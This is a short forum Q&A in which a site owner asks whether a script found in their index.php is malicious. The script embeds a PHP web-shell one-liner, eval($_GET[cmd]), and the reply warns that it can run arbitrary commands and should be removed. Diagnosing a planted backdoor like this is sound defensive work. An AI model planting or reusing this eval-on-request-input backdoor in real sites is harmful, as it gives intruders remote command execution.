Question

I found in my site index.php this code

<script type="text/javascript">
  new.track("new.dev","_browser","'<?php eval($_GET[cmd]); ?>', '<?php eval($_GET[cmd]);?>'");
  new.track("new.dev","_url",location.href);
</script>

Is that code are malicious?
From web i tryed to put something like index.php?cmd=ls and nothing was appear. Maybe it needed to be on page?
I trying to understand what previous admin do on site.

Answer 1

There is an unending amount of risk in that code. eval() runs php commands and can run terminal commands. With you accepting input without sanitation, someone could go nuts and cause some serious harm there. I would remove that immediately and find a better way.

Bonk the guy on the head who wrote it, too.